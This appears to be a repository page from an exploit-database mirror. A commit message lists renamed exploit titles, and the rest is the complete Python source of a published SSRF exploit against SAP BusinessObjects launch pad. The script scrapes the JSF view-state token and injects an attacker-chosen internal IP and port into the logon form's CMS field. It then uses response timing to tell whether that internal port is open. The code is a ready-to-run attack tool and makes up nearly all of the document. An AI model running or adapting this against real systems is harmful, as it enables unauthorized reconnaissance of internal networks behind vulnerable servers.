5947825a84
15 changes to exploits/shellcodes uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service μTorrent (uTorrent) / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service uTorrent 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) μTorrent (uTorrent) 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) uTorrent WebUI 0.370 - Authorisation Header Denial of Service μTorrent (uTorrent) WebUI 0.370 - Authorisation Header Denial of Service Memcached - 'memcrashed' Denial of Service Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (2) Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1) Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API Broadcom BCM43xx Wi-Fi - 'BroadPWN' Denial of Service WebLog Expert Enterprise 9.4 - Denial of Service uTorrent 2.0.3 - 'plugin_dll.dll' DLL Hijacking μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking uTorrent 2.0.3 - DLL Hijacking μTorrent (uTorrent) 2.0.3 - DLL Hijacking iSumsoft ZIP Password Refixer 3.1.1 - Buffer Overflow Microsoft Office - 'Composite Moniker Remote Code Execution Mozilla Firefox - Address Bar Spoofing Tor (Firefox 41 < 50) - Code Execution Chrome 35.0.1916.153 - Sandbox Escape / Command Execution WebLog Expert Enterprise 9.4 - Authentication Bypass uTorrent 1.6 build 474 - 'announce' Key Remote Heap Overflow μTorrent (uTorrent) 1.6 build 474 - 'announce' Key Remote Heap Overflow t. hauck jana WebServer 1.0/1.45/1.46 - Directory Traversal T. Hauck Jana Server 1.0/1.45/1.46 - Directory Traversal Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution Werkzeug - 'Debug Shell' Command Execution TikiWiki < 1.9.9 - 'tiki-listmovies.php' Directory Traversal TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal toronja CMS - SQL Injection Toronja CMS - SQL Injection uTorrent WebUI 0.310 Beta 2 - Cross-Site Request Forgery μTorrent (uTorrent) WebUI 0.310 Beta 2 - Cross-Site Request Forgery tinybrowser - 'tinybrowser.php' Directory Listing tinybrowser - 'edit.php' Directory Listing TinyBrowser - 'tinybrowser.php' Directory Listing TinyBrowser - 'edit.php' Directory Listing Xoops 2.5.7.2 - Directory Traversal Bypass XOOPS 2.5.7.2 - Directory Traversal Bypass SAP BusinessObjects launch pad - Server-Side Request Forgery antMan < 0.9.1a - Authentication Bypass Bacula-Web < 8.0.0-rc2 - SQL Injection
99 lines
No EOL
2.6 KiB
Python
Executable file
99 lines
No EOL
2.6 KiB
Python
Executable file
# Exploit Title: SAP BusinessObjects launch pad SSRF
|
||
# Date: 2017-11-8
|
||
# Exploit Author: Ahmad Mahfouz
|
||
# Category: Webapps
|
||
# Author Homepage: www.unixawy.com
|
||
# Description: Design Error in SAP BusinessObjects launch pad leads to SSRF attack
|
||
|
||
|
||
#!/usr/bin/env python
|
||
# SAP BusinessObjects launch pad SSRF Timing Attack Port scan
|
||
# usage : sblpta.py http://path.faces targetIP targetPort
|
||
import urllib2
|
||
import urllib
|
||
import ssl
|
||
from datetime import datetime
|
||
import sys
|
||
|
||
|
||
|
||
if len(sys.argv) != 4:
|
||
|
||
print "Usage: python sblpta.py http://path.faces targetIP targetPort"
|
||
sys.exit(1)
|
||
|
||
url = sys.argv[1]
|
||
targetIP = sys.argv[2]
|
||
targetPort = sys.argv[3]
|
||
targetHostIP = "%s:%s" %(targetIP,targetPort)
|
||
print "\r\n"
|
||
print "[*] SAP BusinessObjects Timing Attack"
|
||
headers = {'User-Agent': 'Mozilla/5.0'}
|
||
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
|
||
|
||
try:
|
||
|
||
request = urllib2.Request(url, headers=headers)
|
||
page = urllib2.urlopen(request, context=gcontext)
|
||
print "[*] Connected to SAP Bussiness Object %s" %url
|
||
|
||
except:
|
||
|
||
print "[-] Failed To connect to SAP Bussiness Object %s" %url
|
||
print "[*] SAP Bussiness Object Link example: http://domain:port/BZ/portal/95000047/InfoView/logon.faces"
|
||
sys.exit(2)
|
||
|
||
|
||
resheaders = page.info()
|
||
cookie = resheaders.dict['set-cookie']
|
||
content = page.readlines()
|
||
|
||
for line in content:
|
||
|
||
if "com.sun.faces.VIEW" in line:
|
||
sfview = line.split("=")[4].split("\"")[1]
|
||
print "[*] Got java faces dynamic value"
|
||
|
||
else:
|
||
continue
|
||
|
||
if not sfview:
|
||
|
||
print "[-] Failed to java faces dynamic value, are you sure you extracted the java faces form from the link ??"
|
||
sys.exit(3)
|
||
|
||
|
||
formdata = {"_id0:logon:CMS":targetHostIP,
|
||
"_id0:logon:USERNAME":"",
|
||
"_id0:logon:PASSWORD":"",
|
||
"com.sun.faces.VIEW":sfview,
|
||
"_id0":"_id0"
|
||
}
|
||
|
||
|
||
|
||
data_encode = urllib.urlencode(formdata)
|
||
start = datetime.now()
|
||
print "[*] Testing Timing Attack %s" %start
|
||
request = urllib2.Request(url,data_encode)
|
||
request.add_header('Cookie', cookie)
|
||
response = urllib2.urlopen(request)
|
||
end = datetime.now()
|
||
the_page = response.read()
|
||
|
||
|
||
if "FWM" in the_page:
|
||
|
||
elapsedTime = end-start
|
||
if elapsedTime.total_seconds() >= 10:
|
||
|
||
print "[*] Port %s is Open, Gotcha !!! " %targetPort
|
||
|
||
else:
|
||
|
||
print "[*] Port %s is Closed , we die fast" %targetPort
|
||
|
||
elif "FWC" in the_page:
|
||
|
||
print "[-] error login expired"
|
||
sys.exit(10) |